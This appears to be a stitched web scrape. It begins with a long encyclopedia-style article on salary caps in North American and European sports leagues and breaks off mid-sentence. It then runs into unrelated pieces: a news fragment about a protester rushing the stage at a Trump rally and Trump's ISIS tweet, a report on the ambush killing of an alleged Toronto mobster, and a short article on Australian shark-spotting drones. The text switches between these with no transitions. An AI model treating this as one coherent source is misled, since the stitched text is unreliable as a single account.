The new Collective Bargaining Agreement (CBA) formulated in 2011 had an initial salary cap of $120 million. While the previous CBA had a salary floor, the new CBA did not have one until 2013. Starting with that season, each team is required to spend a minimum of 88.8% of the cap in cash on player compensation,[8] and 90% in future years. However, the floor is based on total cash spent over each of two four-year periods, the first running from 2013–2016 and the second from 2017–2020. A team can be under the floor in one or more seasons in a cycle without violating the CBA, as long as its total spending during the four-year period reaches the required percentage of the cap.[8] This allows for unforeseen circumstances such as career ending injuries or unexpected player retirements leading to immediate penalty. As a result, teams are not forced to immediately take on a replacement for missing players which allows them to use more organic approaches such as a trade, free agency acquisition or the draft.
The NFL's cap is a hard cap that the teams have to stay under at all times, and the salary floor is also a hard floor. Penalties for violating or circumventing the cap regulations include fines of up to $5 million for each violation, cancellation of contracts and/or loss of draft picks. Violating the salary floor regulations does not result in any fines or competitive penalties; instead, deficiencies are placed into a pool and distributed among all players who were on the regular roster of the offending team during a four-year floor cycle, prorated according to time on the roster in said period.
The cap was first introduced for the 1994 season and was expected to be $32 million, but an unexpectedly high bid from Fox and other networks[9] increased the cap to $34.6 million. Both the cap and the floor are adjusted annually based on the league's revenues, and they have increased each year. In 2009, the final capped year under that agreement, the cap was $128 million per team, while the floor was 87.6% of the cap. Using the formula provided in the league's collective bargaining agreement, the floor in 2009 was $112.1 million. Under the NFL's agreement with the NFLPA, the effects on the salary cap of guaranteed payments (such as signing bonuses) are, with a few rare exceptions, prorated evenly over the term of the contract.
In transitions, if a player retires, is traded, or is cut before June 1, all remaining bonus is applied to the salary cap for the current season. If the payroll change occurs after June 1, the current season's bonus proration is unchanged, and the next year's cap must absorb the entire remaining bonus. When a player is franchise tagged the salary cap will be affected. When the salary cap can't be met for a tagged player the National Football League will fund the remainder of the contract. Only a single player may be tagged per year.
Because of this setup, NFL contracts almost always include the right to cut a player before the beginning of a season. If a player is cut, his salary for the remainder of his contract is neither paid nor counted against the salary cap for that team. A highly sought-after player signing a long-term contract will usually receive a signing bonus, thus providing him with financial security even if he is cut before the end of his contract.
Incentive bonuses require a team to pay a player additional money if he achieves a certain goal. For the purposes of the salary cap, bonuses are classified as either "likely to be earned", which requires the amount of the bonus to count against the team's salary cap, or "not likely to be earned", which is not counted. A team's salary cap is adjusted downward for NLTBE bonuses that were earned in the previous year but not counted against that year's cap. It is adjusted upward for LTBE bonuses that were not earned in the previous year but were counted against that year's cap.
One effect of the salary cap was the release of many higher-salaried veteran players to other teams once their production started to decline from the elite level. On the other hand, many teams have made a practice of using free agents to restock with better personnel more suited to the team. The salary cap prevented teams with superior finances from engaging in the formerly widespread practice of stocking as much talent on the roster as possible by placing younger players on reserve lists with false injuries while they develop into NFL-capable players. In this respect, the cap functions as a supplement to the 53-man roster limit and practice squad limits.
Generally, the practice of retaining veteran players who had contributed to the team in the past, but whose abilities have declined, became less common in the era of the salary cap.[10] A veteran's minimum salary was required to be higher than a player with lesser experience, which means teams tended to favor cheaper, less experienced prospects with growth potential, with an aim to having a group of players who quickly develop into their prime while still being on cheaper contracts than their peers. To offset this tendency which pushed out veteran players, including those who became fan favorites, the players' association accepted an arrangement where a veteran player who receives no bonuses in his contract may be paid the veteran minimum of up to $810,000, while accounting for only $425,000 in salary-cap space (a 47.5% discount).
The salary cap also served to limit the rate of increase of the cost of operating a team. This has accrued to the owners' benefit, and while the initial cap of $34.6 million has increased to $123 million (maximum in 2009), this is due to large growths of revenue, including merchandising revenues and web enterprises, which ownership is sharing with players as well.
The owners opted out of the CBA in 2008, leading to an uncapped season in 2010.[11] During the season, most NFL teams spent as if there was a cap in place anyway, with the league warning against teams front-loading contracts during the season. The Dallas Cowboys, New Orleans Saints, Oakland Raiders, and Washington Redskins chose to spend money in the spirit of an uncapped year, and in 2012 the Cowboys and Redskins (the top two NFL teams by revenue in 2011)[12] were docked $10 million and $36 million respectively from their salary caps, to be spread over the next two seasons. This $46 million was subsequently divided up among the remaining 26 NFL teams ($1.77 million each) as added cap space (this excludes the Raiders and Saints, the latter of which was also dealing with their ongoing bounty scandal, as both teams were over the cap, though to a lesser degree than the Cowboys and Redskins).[13]
The actions of the league to punish those teams that were acting within their legal bounds during the uncapped year led to a lawsuit against them by the NFLPA. The case argued that the rest of the league colluded to keep average player salaries from rising in a year they expected them to skyrocket and unfairly punished teams that did not collude. The NFL settled the lawsuit with the NFLPA.[14]
Year Maximum team salary 2018 $177.2 million[15] 2017 $167.00 million 2016 $155.27 million[16] 2015 $143.28 million[17] 2014 $133 million[18] 2013 $123 million[19] 2012 $120.6 million[20] 2011 $120 million[20] 2010 Uncapped 2009 $123 million 2008 $116 million 2007 $109 million 2006 $102 million 2005 $85.5 million 2004 $80.582 million 2003 $75.007 million 2002 $71.101 million 2001 $67.405 million 2000 $62.172 million 1999 $57.288 million 1998 $52.388 million 1997 $41.454 million 1996 $40.753 million 1995 $37.1 million 1994 $34.608 million
Year by Year Salary Cap
National Hockey League [ edit ]
A salary cap existed in the early days of the National Hockey League (NHL). During the Great Depression, the league was under financial pressure to lower its salary cap to $62,500 per team and $7,000 per player, forcing some teams to trade away well-paid star players in order to fit the cap.[21]
Pre-salary cap [ edit ]
Prior to the resolution of the 2004–05 lockout, the NHL was the only major North American professional sports league that had no luxury tax, very limited revenue sharing and no salary cap.
During the Original Six era through to the early years of the expansion era, the NHL's strict reserve clause negated the need for a salary cap.
Player salaries first became an issue in the 1970s, when Alan Eagleson founded the NHL Players' Association (NHLPA) and the upstart World Hockey Association began competing with the NHL for players. Not all NHL owners were willing to engage in a bidding war, in particular, Harold Ballard of the Toronto Maple Leafs spent as close to the league minimum on rosters as he could. Since Maple Leaf Gardens was consistently sold out no matter how poorly the Maple Leafs played, Ballard's team was by far the most profitable.
The 1994–95 NHL lockout was fought over the issue of the salary cap. The 1994–95 season was only partially cancelled, with 48 games and the playoffs eventually being played.
Eight NHL franchises were based in Canada at the time of the lockout. Until the 1990s, the Canadian teams usually paid player salaries in Canadian dollars, but with the rise of free agency and a decline in the value of Canadian dollar, players and their agents increasingly demanded to be paid in U.S. dollars. Canadian teams' revenues were, then as now, mostly in Canadian dollars, and the effects of the discrepancy were particularly acute for the small market franchises. The financial difficulties and uncertainties of competing in smaller Canadian markets led to two clubs moving to the U.S.; the Quebec Nordiques to Denver, and the Winnipeg Jets to Phoenix. NHL Commissioner Gary Bettman successfully persuaded the US-based teams to donate towards a pool to mitigate the adverse effects of the exchange rate.
Negotiations [ edit ]
The negotiations for the 2004–05 NHL Collective Bargaining Agreement revolved primarily around players' salaries. The league contended that its clubs spent about 75% of revenues on salaries, a percentage far higher than existed in other North American sports; NHL Commissioner Gary Bettman demanded "cost certainty" and presented the NHLPA with several concepts that the Players' Association considered nothing more than euphemisms for a salary cap, which it had vowed it would never accept. The previous CBA had expired on September 15, 2004, and a lockout ensued, leading to the cancellation of the entire 2004–05 NHL season, the first time a major sports league in North America had lost an entire season to a labor dispute.
Current salary cap [ edit ]
The lockout was resolved when the NHLPA agreed to a hard salary cap based on league revenues, with the NHL implementing revenue sharing to allow for a higher cap figure. The NHL salary cap is formally titled the "Upper Limit of the Payroll Range" in the new CBA. For the 2005–06 NHL season, the salary cap was set at US$39 million per team, with a maximum of $7.8 million (20% of the team's cap) for a player. The CBA also mandated the payment of salaries in U.S. dollars, codifying what had been a universal practice for more than a decade.[22]
Revenues for the six Canadian teams that were in the league at the time of the lockout have all increased significantly since then, and because the US dollar fell to relative parity with its Canadian counterpart in the early 2010s, league-wide revenues measured in U.S. dollars were inflated accordingly.
As a result of these factors, the cap was raised each year of the 2005–12 CBA to $64.3 million for the 2011–12 season, with a cap of $12.86 million for a player. The CBA also contains a salary floor which is formally titled the "Lower Limit of the Payroll Range", the minimum that each team must pay in player salaries. The lower limit was originally set at 55% of the cap, but is now defined to be $16 million below the cap, therefore the 2011–12 minimum was $48.3 million.
Since the current CBA was approved after a later lockout in 2012–13, league revenues have stagnated due to a significant fall in the value of the Canadian dollar against the U.S. dollar. The cap was $69 million for the 2014–15 season and will be $74 million for 2016–17.[23]
The difference between the salary cap and a team's actual payroll is referred to as the team's "payroll room" or "cap room".
Each year of an NHL player contract, the salary earned contributes to the team's "cap hit". The basic cap hit of a contract for each year it is effective is the total money a player will earn in regular salary over the life of the contract divided by the number of years it is effective. This, in theory, prevents a team from paying a player different amounts each year in order to load his cap hit in years in which the team has more cap room. Teams still use this practice, however, for other reasons. Performance bonuses also count towards the cap, but there is a percentage a team is allowed to go over the cap in order to pay bonuses. A team must still factor in possible bonus payments, however, which could go over that percentage.
Salaries for players sent to the minors, under most circumstances, do not count towards the cap while they are there. If a player has a legitimate long-term injury, his cap hit is still counted; however, the team is permitted to replace him with one or more players whose combined salary is equal to (or less than) that of the injured player, even if the additional players would put the team over the salary cap. If the team's cap room is larger than the injured player's cap hit, they may take on as much as their cap room; however, the injured player may not return to play until the team is again compliant with the original cap.
The NHL has become the first of the major North American leagues to implement a hard cap while retaining guaranteed player contracts. Guaranteed player contracts in the NHL differ from other sports, notably the NFL, where teams may opt out of a contract by waiving or cutting a player. NHL teams may buy out players' contracts, but must still pay a portion of the money still owed which is spread out over twice the remaining duration of the contract. This does not apply for players over 35 at the time of signing; in this case a team cannot buy out the player's contract to reduce salary. Any other player can be bought out for ⅓ of the remaining salary if the player is younger than 28 at the time of termination, or ⅔ of the remaining salary if the player is 28 or older. Trading cash for players or paying a player's remaining salary after trading him have been banned outright in order to prevent wealthier teams from evading the restrictions of the cap.
Players, agents or employees found to have violated the cap face fines of $250,000 – $1 million and/or suspension. Teams found to have violated the cap face fines of up to $5 million, cancellation of contracts, forfeiture of draft picks, deduction of points and/or forfeiture of game(s) determined to have been affected by the violation of the cap.
National Basketball Association (soft cap + luxury tax) [ edit ]
The NBA had a salary cap in the mid-1940s, but it was abolished after only one season. The league continued to operate without such a cap until 1984–85 season, when one was instituted in an attempt to level the playing field among all of the NBA's teams and ensure competitive balance for the Association in the future. Before the cap was reinstated, teams could spend whatever amount of money they wanted on players, but in the first season under the new cap, they were each limited to $3.6 million in total payroll. Under the 2005 CBA, salaries were capped at 57 percent of basketball-related income (BRI) and lasted for six years until June 30, 2011. The next CBA, which took effect in 2011–12, set the cap at 51.2 percent of BRI in 2011–12, with a 49-to-51 band in subsequent years. The salary cap for 2016–17 was set at $94.14 million, with the salary floor at 84.73 million and the luxury tax limit at $113.29 million.[24] The current CBA took effect with the 2017–18 season.
The NBA uses a "soft" cap, meaning that teams were allowed to exceed the cap in order to retain the rights to a player who was already on the team. This provision was known as the "Larry Bird" exception, named after the former Boston Celtics great who was retained by that team until his retirement under the provisions of this rule. The purpose of this rule was to address fan unease over the frequent changing of teams by players under the free agency system, as fans became displeased over their favorite player on their favorite team suddenly bolting to another team. The "Larry Bird" provision of the salary cap gave the player's current team an advantage over other teams in free agent negotiations, thus increasing the chances that a player would stay with his current team. The provision tended to result in most teams being over the cap at any given time. Teams that violated the cap rules faced fines of up to $5 million, cancellation of contracts and/or loss of draft picks, and are prohibited from signing free agents for more than the league minimum. The NBA also has a salary floor, but teams are not penalized as long as their total payroll exceeds the floor at the end of the season.
The NBA also uses a "luxury tax" which is triggered if the average team payroll exceeds a certain amount higher than the cap. In this case, the teams with payrolls exceeding a certain threshold had to pay a tax to the league which is divided amongst the teams with lower payrolls. However, this penalty was levied against teams in violation only if the league average also breached a separate threshold.
The NBA implemented a maximum salary for individual players. This was done following a dramatic increase in player salaries, in spite of the salary cap, in the mid-1990s. Under the CBA, a player's maximum possible salary increased along with his time of service in the league. For a player of five years' experience, the maximum salary threshold began at 25% of the salary cap, with annual increases of up to 10.5% possible beyond that for players re-signed by their original team, or 8% annual increases for free agents that signed with new teams. For players of greater experience, the salary limit was higher – but the 10.5% limit on annual increases remained the same.
The 2011 CBA resulted in several major changes to the salary cap scheme. Most of these changes were retained in the 2017 CBA.
The cap remains a soft cap; the Bird exception remains in place, but teams have less financial room to retain a player with Bird rights than under pre-2011 agreements.[25]
The 2011 CBA also reduced the maximum length of a contract by a year, and reduced allowable annual raises. Bird free agents are entitled to 5-year contracts with 7.5% raises; all other players (including sign-and-trade acquisitions) are limited to 4-year deals with 4.5% raises. Maximum salaries remain at 25, 30, or 35% of the cap, depending on years of service. These provisions remained intact in the 2017 CBA. Under the current CBA, a player coming off his rookie scale contract, who would normally be eligible to receive a salary of 25% of the cap, is eligible to receive 30% if he has been named MVP in any of the previous three seasons; named the Defensive Player of the Year in the immediately preceding season or two of the three most recent seasons; or named to an All-NBA team in the immediately preceding season or two of the three most recent seasons.[26]
These criteria are the same that determine eligibility for a new type of contract introduced with the 2017 CBA—the Designated Veteran Player Extension (DVPE), popularly known as a "supermax" contract. Players entering their eighth or ninth season in the league who meet the aforementioned criteria may be eligible to sign an extension of up to 5 years at 35% of the cap, a salary normally allowed only for players with 10 or more years in the league. Such an extension can only be offered by the team that had the player under contract in the immediately preceding season. A team can use this extension on either a player under contract or its own free agent, but only if the signing team had originally drafted the player or obtained him in a trade during his rookie contract.[27]
Substantial changes were made in 2011 to the luxury tax regime. The dollar-for-dollar tax provisions of the 2005 CBA remained in effect through the 2012–13 season. Starting in 2013–14, the tax changed to an incremental system. Tax is now assessed at different levels based on the amount that a team is over the tax threshold, which remains at a level above the actual cap. The scheme is not cumulative—each level of tax applies only to amounts over that level's threshold. For example, a team that is $8 million over the tax threshold pays $1.50 for each of its first $5 million over the tax threshold, and $1.75 per dollar for the remaining $3 million. In addition, "repeat offenders", subject to additional tax penalties, are defined as teams that paid tax in four of the five previous seasons. As in the previous CBA, the tax revenue is divided among teams with lower payrolls.[28] However, under the new scheme, no more than 50% of the total tax revenue can go exclusively to teams that did not go over the cap; the use of the remaining 50% was not specified in the new agreement.[25]
Amount over tax threshold Standard tax per excess dollar Repeat offender tax per excess dollar $5 million or less $1.50 $2.50 $5 million to $10 million $1.75 $2.75 $10 million to $15 million $2.50 $3.50 $15 million to $25 million $3.25 $4.25 Each additional $5 million $3.25 + $0.50 per $5 million $4.25 + $0.50 per $5 million
Taxpaying teams have additional spending limits under the two most recent agreements (2011 and 2017). They have a smaller "midlevel exception" (another cap provision that allows teams to go over the cap to sign at least one player per season), and can acquire less salary in a trade. Also, since 2013–14, teams that exceed the tax threshold by the so-called "apron", an amount most recently set in the 2017 CBA at $6 million,[29] cannot receive a player in a sign-and-trade deal.[25]
The midlevel exception itself also changed with the 2011 CBA. The maximum duration of midlevel contracts was reduced from 5 years to 4 for non-taxpaying teams and 3 for taxpaying teams, and maximum allowable raises were also reduced. In addition, the midlevel exception was extended to teams under the salary cap for the first time; these teams received a 2-year exception.[25] This exception was retained in the 2017 CBA.
Under the 2011 CBA, teams were allowed to "amnesty" one player before the start of any season, as long as his current contract was signed during the 2005 CBA. The amnestied player was waived from the team; although the player's former team remained obligated to pay his salary under the old contract (with a credit for any salary paid by a future team), that salary was no longer counted for purposes of the cap or luxury tax calculations. This provision could be used only once per team during the duration of the CBA, which was originally a 10-year deal but allowed either side to opt out in 2017.[25] The "amnesty" provision was eliminated in the 2017 CBA, which was agreed to by the owners and players shortly before the opt-out date.
The salary floor, previously 75% of the cap, increased to 85% in 2011–12 and 2012–13, and 90% in future years.[25]
Major League Baseball (luxury tax) [ edit ]
Instead of a salary cap, Major League Baseball implements a luxury tax (also called a competitive balance tax), an arrangement in which teams whose total payroll exceeds a certain figure (determined annually) are taxed on the excess amount in order to discourage large market teams from having a substantially higher payroll than the rest of the league. The tax is paid to the league, which then puts the money into its industry-growth fund.[30][31]
A team that goes over the luxury tax threshold for the first time in a five-year period pays a penalty of 22.5% of the amount they were over the threshold, second-time violators pay a 30% penalty, and teams that exceed the limit three or more times pay a 50% penalty from 2013 onwards. There is also an incentive to lower payroll; if in any year a team goes under the threshold, the penalty rate decreases to 17.5%, 25% or 40% (depending on prior record over the previous five years) for the next time the tax is paid.
The threshold for 2018 is $210 million.
The following teams have been subject to luxury tax since 2003:
[32][33]
As of 2017, the New York Yankees have paid 61.75% of all luxury tax collected by MLB.
Money collected under the MLB luxury tax are apportioned as follows: The first $2,375,400 and 50% of the remaining total are used to fund player benefits, 25% goes to the Industry Growth Fund, and the remaining 25% is used to defray team's funding obligations from player benefits.[34]
Criticism [ edit ]
Measuring the success of the luxury tax in bringing the benefits of parity has brought mixed results.
A team with a $100 million plus payroll has won the World Series 12 times (the 2009 Yankees; the 2004, 2007, 2013 and 2018 Red Sox; the 2011 St. Louis Cardinals; the 2010, 2012 and 2014 San Francisco Giants; the 2015 Kansas City Royals; the 2016 Chicago Cubs; and the 2017 Houston Astros).
However, while $100 million plus payrolls have only existed since 2001, the last team to win the World Series with a payroll less than $100 million was the 2008 Philadelphia Phillies (payroll $98.26 million); this can be explained by the fact that the majority of elite players require high salaries when they hit free agency (unless their team extends their contract beforehand), and teams with those players generally perform better.
While a top tier payroll increases a team's chances of making the playoffs, it does not guarantee they will consistently win championships. On the other hand, the New York Yankees have consistently had the highest total payroll in MLB, and they have appeared in 40 of the 114 World Series for 28 wins as of 2018 (35.1% of all World Series for a 24.6% success rate).
In the past 30 years, 18 different teams have won the World Series. In comparison, only 14 different teams won the NFL Super Bowl, 13 won the NHL Stanley Cup and 10 won the NBA championship in that same time frame.
Other pundits, such as Michael Lewis, the author of the bestseller Moneyball, have argued that using World Series championships as an example of parity may be misleading, and playoff appearances may be a better indicator of relative team strength. The playoff system used in baseball comprises a small number of games compared to success over a long season, and has been described as a "crapshoot" by Oakland A's General Manager Billy Beane (the central figure of Moneyball). In fact, teams with consistently high payrolls, including the New York Yankees and Boston Red Sox, have secured high numbers of playoff berths (the two teams have combined to win the AL East 19 out of 25 seasons from 1994–2018). In contrast, teams with low payrolls are far less likely to make the playoffs: for example, the Pittsburgh Pirates went 20 years without a winning season before making the 2013 playoffs.
A number of the small market teams, notably the Milwaukee Brewers, have called for the introduction of a salary cap, but any introduction is opposed by the MLB players' union and the Yankees' ownership group; the latter have threatened legal action if such a cap is implemented.
Although some saw the success of NHL owners in their 2004–05 lockout as an opportunity for MLB to reform its collective bargaining agreement, baseball owners agreed to a new five-year deal in October 2006 that did not include a salary cap. Unlike the other three major North American sports, MLB also has no team salary floor: the only minimum limits for team payrolls are based on the minimum salaries for individual players of various levels of experience that are written into MLB's collective bargaining agreement. The players' union has also historically been vehemently opposed to a team salary floor, considering any floor proposal to be a prelude to a later request for a cap.[35]
Major League Soccer [ edit ]
Here are some major points of the MLS rules and regulations for the 2017 season.[36]
A team's roster can be made up of up to 30 players. They are eligible to be selected to the 18-player team for each game.
The salary cap is $4.035 million per team in 2018, not counting the extra salary of designated players. Players in the first 20 roster spots will count against the cap.
Roster spots 19 and 20 are not required to be filled, and teams may spread their salary budget across only 18 players. A minimum salary budget charge ($67,500 in 2018) will be imputed against a team's salary budget for each unfilled senior roster spot below 18.
The maximum salary for any non-designated player is $504,375.
A designated player counts $504,375 against a team's cap. However, if a player joins his team in the middle of the season, the charge against the budget will be $252,187.
Players who are in the roster spots from 21–30 will not count against a team's cap. They will be known as off-budget players. Those in roster slots 21–24 must be a senior minimum salary player ($65,000 base salary – will increase to $67,500 in 2018) or Generation adidas player. Those in slots 25–30 must be a reserve minimum salary player ($53,000 base salary – will increase to $54,500 in 2018). Additionally, those who earn the lowest possible league salary must be 24 or younger during the 2017 calendar year. Those in slots 29–30 must also be homegrown players.
In addition to the salary cap, each MLS team can also spend additional funds on a player in the form of allocation money and homegrown player subsidy.
Since the 2012 season, the cap number for designated players has depended on the players' ages. Since the 2013 season, players 20 or younger have counted $150,000 against the cap and those age 21 to 23 have counted $200,000, with older players remaining at the standard cap number ($368,750 for 2013, $387,500 for 2014, $436,250 for 2015, $457,500 for 2016, $480,625 for 2017, and $504,375 for 2018). For the purpose of determining a cap number, the player's age is determined solely by his year of birth.[37]
On June 13, 2006, a proposed salary management system featuring a Maximum Salary Expenditure Cap (SEC) was ratified at the Canadian Football League board of governors meeting in Winnipeg, Manitoba.[38] The CFL began enforcing strict salary cap regulation for the 2007 season and the cap was initially set at $4.05 million. The cap will be $5.2 million for the 2018 season or an average salary of $113,043 per active roster player.[39] However, most clubs spend between $7,000,000 to $8,000,000 per season on salaries due to injury exemptions allowed under the cap. For instance, the Edmonton Eskimos spent $8.8 million on salaries in 2017 season and $7.9 million in 2016, while still cap compliant.
Penalties for teams found to have breached the salary cap or salary floor regulations are:
Amount involved in breach Penalty for each $1 Draft picks forfeited First $100,000 $1 None $100,000 to $300,000 $2 First Round More than $300,000 $3 First and Second Round
[40]
The following breaches of the salary cap have occurred (no team has yet been penalized for violating salary floor regulations):[41]
In 2007, the Montreal Alouettes were fined $116,570 and forfeited a first-round draft pick after a CFL investigation found that they had exceeded the salary cap by $108,285 during the season.
The Saskatchewan Roughriders were also fined in 2007 ($76,552) for a string of minor breaches in relation to benefit payments to injured players.
In 2008, the Saskatchewan Roughriders were fined $87,147 for exceeding the salary cap by that amount.
In 2009, the Winnipeg Blue Bombers were fined $44,687 for minor breaches in relation to player bonuses.
In 2010, the Saskatchewan Roughriders were fined $26,677 for exceeding the salary cap by that amount.
In 2013, the Saskatchewan Roughriders were fined $17,975 for exceeding the salary cap by that amount.
Other North American leagues [ edit ]
Salary caps are common in other leagues.
The salary cap of the first Arena Football League was $1.82 million per team in its final season in 2008. In 2005, the Tampa Bay Storm were fined $125,000 for salary cap violations and their head coach Tim Marcum was suspended for four games (last two of the 2005 season and first two of the 2006 season) and fined $25,250; Marcum was suspended for a fifth game the next day for criticizing the decision at a press conference.
When the Arena Football League returned in 2010, it instituted a standard salary of $400 per game and a salary cap of $1.5 million, considerably lower than that paid by teams in the previous AFL; given that the new AFL had a 16-game season in 2010, this effectively means that its players are semi-professional.
The National Women's Soccer League, launched in 2013, was initially planned to have a team cap of $500,000, but that was later lowered to $200,000.[42] However, the sport's three North American national federations—the United States Soccer Federation, which runs the league; the Canadian Soccer Association; and the Mexican Football Federation—committed to paying the league salaries of many national team players. For the league's first season, 23 US players, plus 16 players each from Canada and Mexico, had their salaries paid by their respective federations; these players' salaries do not count against the team cap.[43] In a player allocation held before the inaugural season, each of the eight charter teams received two Canadian and two Mexican internationals; seven of the eight teams received three US internationals and the Western New York Flash received two.[43]
In Europe [ edit ]
Salary caps are rarely used in Europe, due to cultural reasons. However, several European rugby competitions, as well as ice hockey leagues have successfully instituted salary caps. Rugby league's Super League, mainly in England with a team also in France (and formerly one in Wales), is capped. The league has used promotion and relegation for most of its history, though from 2009 through 2014 it operated on a licensing system with some similarities to the North American franchising model. Promotion and relegation returned to Super League in the 2015 season. In rugby union, two of the continent's three main domestic/regional leagues—the English Premiership and the French Top 14—instituted caps despite both being at the top of extensive pyramid structures with promotion and relegation throughout. The most notable European ice hockey league with a salary cap is the Kontinental Hockey League (which uses the franchising model), and that league implemented a cap despite currency issues.
Rugby union [ edit ]
English Premiership [ edit ]
The Premiership's salary cap has been in place since the late 1990s.[44] By 2007–08, the cap reached £2.2 million. In the following season, it nearly doubled to £4 million,[44] and remained at that amount through the 2011–12 season.[45] A provision applicable only in seasons that run up against the quadrennial Rugby World Cup, such as 2015–16, gives teams a credit for each player in the squad participating in the competition, helping them to manage their reduced squads in the season's early weeks. This credit was £30,000 in the 2011–12 season,[45] and rose to £35,000 for 2015–16.[46] In addition, each club has a separate salary cap for its academy players (£200,000 prior to 2015–16, reduced to £100,000 thereafter, but with home-grown players no longer counting under this cap),[46][47] and is allowed to provide an unlimited educational fund to
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Videos... MUST WATCH Trump accuses Sanders supporters of disrupting his rallies 02:20
When asked whether he'd planned on attacking Trump if he'd been able to reach him, DiMassimo said he had not.
"No, not at all. There would have been no point. Donald Trump is 6 foot 3. I'm 5 foot 9, maybe. He's a giant man surrounded by thousands of followers, 12 Secret Service and a former Ohio State offensive lineman. That would have accomplished nothing."
He said he could understand, though, how people might have perceived he was planning to attack Trump, and that he hadn't expected so many Secret Service officers.
"I thought my chances of getting up on stage and getting to the podium would have been better," DiMassimo said.
"But again it was more important for me to show that there are people out there who aren't afraid of Donald Trump. He says scary things. He lets his people do scary things. He's threatened Mexico, Islam, you name it, and yet I'm unafraid. And if I can be unafraid enough to go take his podium away from him, then we all can be (un)afraid enough to not let this man walk into the White House."
When asked who he voted for, DiMassimo said he voted for Democratic candidate Bernie Sanders. He voted in Georgia. DiMassimo said several times his support for Sanders did not prompt the stunt.
'Not a member of ISIS'
JUST WATCHED What to do when Trump is'making stuff up' Replay More Videos... MUST WATCH What to do when Trump is'making stuff up' 06:41
After his rally, Trump tweeted about the incident, thanking his security and accusing DiMassimo of having ties to ISIS.
"USSS did an excellent job stopping the maniac running to the stage. He has ties to ISIS. Should be in jail!" Trump wrote.
He posted a link to a video that included the ISIS flag and appeared to make fun of DiMassimo.
USSS did an excellent job stopping the maniac running to the stage. He has ties to ISIS. Should be in jail! https://t.co/tkzbHg7wyD?ssr=true — Donald J. Trump (@realDonaldTrump) March 12, 2016
DiMassimo vehemently denied belonging to ISIS. He told CNN the video was doctored and provided a link to what he said was the original footage from a protest he participated in more than a year ago.
Trump responded to criticism of his tweet Sunday on NBC's "Meet the Press."
"Was that him? It looked like the same man to me. He was dragging a flag along the ground and he was playing a certain type of music. And supposedly, there was chatter about ISIS. Now, I don't know. What do I know about it? All I know is what's on the Internet," he said. "And I don't like to see a man dragging the American flag along the ground in a mocking fashion."
DiMassimo said he's received thousands of death threats since the Trump rally and that his parents have also been threatened.
When asked whether he was a Christian, he said he was.
"I am not a member of ISIS. I have no known ties to ISIS. I've never been out of the country. I only speak English," DiMassimo said.Salvatore Calautti left this world the same way the men he is suspected of killing went: ambushed as he sat in a luxury automobile.
The charmed but violent life of the man, who was linked by police to so many shootings he was suspected of being something of a Mafia hit man, ended in a parking lot early Friday as he left a bachelor party north of Toronto.
York Regional Police said Mr. Calautti, 41, of Toronto was likely the prime target of the attack outside Terrace Banquet Centre, an opulent rental hall on Creditstone Road in Vaughan. James Tusek, 35, of Toronto was also killed.
Mr. Calautti was dead inside a black BMW X6 when police arrived soon after 1 a.m.; he had been shot in the head.
Mr. Tusek was found beside it, with shots to his stomach and chest; he died soon after in hospital.
While Mr. Calautti’s family was grieving terribly as they were taken to formally identify his body Friday afternoon – he had three children – underworld observers noted, on a professional level, his slaying seemed a fitting end.
The man was a bold, active and able mobster in the Toronto area who was not afraid to get his hands dirty in a bid to make a name for himself, according to some who knew him in the underworld.
In 1998, Mr. Calautti was acquitted of first-degree murder in the death of a businessman who was shot nine times beside his Mercedes in a parking lot in 1996. Court heard Mr. Calautti met Guiseppe Conguista over an unpaid $500 debt and had flashed a Beretta pistol as incentive for the man to cooperate.
In 2000, he was charged after four men were shot in ambush as their car stopped at a Toronto intersection. A bullet traveled lengthwise through one man’s arm, from elbow to wrist. Mr. Calautti was charged with four counts of attempted murder; the outcome is not known but if he was found guilty, he served little time in prison.
He was also a suspect in the unsolved high-profile murder of Gaetano Panepinto, who was an important emissary in Ontario for Vito Rizzuto, the boss of the Sicilian Mafia in Montreal.
Mr. Panepinto ran a discount coffin store in Toronto and imported cocaine until he killed two Calabrian mafiosi who were hiding in Canada from Italian authorities. The men were eating into his gambling business. One was Mr. Calautti’s best friend, Domenic Napoli. Mr. Panepinto was shot dead in 2000 in an ambush as he drove his Cadillac from his west Toronto home, likely in retaliation.
Mr. Calautti turned to members of the board of control of Toronto’s ’Ndrangheta (the formal name of the Mafia that originated in Italy’s region of Calabria) to protect him when he got into trouble with Mr. Rizzuto’s Sicilian faction based in Montreal, in about 2005, apparently over a large gambling debt.
The senior Calabrian mobsters seemed ready to help, likely because of Mr. Calautti’s constant willingness to throw his muscle around on the street on their behalf, collecting debts and settling scores.
That placed him at the protruding edge of the fundamental divide in Canada’s gangland: the sometimes fractious relationship between Calabrian and Sicilian mobsters, imbuing his murder with added intrigue.
Mr. Tusek was also mob-linked.
He was charged in 2008 in Niagara after police uncovered that region’s largest marijuana plantation. He was accused with Nicola Cortese, the cousin of Vincenzo “Jimmy” DeMaria, a convicted killer and Toronto businessman who has been named by authorities in Italy and Canada as a leading boss of Toronto’s ’Ndrangheta.
Making it more difficult for homicide detectives, Mr. Calautti made many enemies as he bulldozed his way through the underworld.
He was a frequent and heavy gambler, but more than one bookie noted he was aggressive about being paid when he won but difficult to collect from when he lost.
Mr. Calautti and Mr. Tusek were ambushed as they left a large stag party that was attended by many known and suspected mobsters from the surrounding area, police said.
Despite 100 guests still being at the celebration when police arrived, investigators were having trouble finding co-operating witnesses to the shooting. As many as 500 people are thought to have attended at the party’s peak.
“We do not believe that the shootings were random and it does appear the deceased were targeted,” said Sergeant Clint Whitney, of York police.
The shooting seems strikingly brazen, partly because it took place less than 250 metres from York Police’s District Four headquarters.
Also, since tickets to such stags are often professionally printed and distributed for sale in the community, police know about them in advance and sometimes stake them out with surveillance teams.
Savvy gangsters know this and have in the past spotted officers skulking in vans and waved smugly to them.
Sgt. Whitney said he did not know whether this stag was under surveillance.
National Post
• Email: [email protected] | Twitter: AD_HumphreysIn Australia, there’s a problem in the water and the solution is in the sky. The country is launching a trial program that will utilize drones to monitor the shores of New South Wales for shark attacks.
The $250,000 drones, affectionally referred to as Little Rippers, can remain in the air for two and a half hours before requiring a charge. The airborne bots will spend that time capturing live footage of the coastline and broadcasting it to a two-person team that monitors and controls the craft.
If and when something pops up on the radar of the Little Ripper, the drone can release a payload that includes supplies, an inflatable raft, and GPS beacons that will signal the exact location of the person to rescue workers.
For now, the majority of the function for the Little Ripper will be handled by human controllers, but a team of researchers at Sydney’s University of Technology want to craft a digital brain for the rescue vehicle. Specifically, the team wants to equip the Little Ripper with an algorithm that could be used to determine the different types of sharks that it spots below.
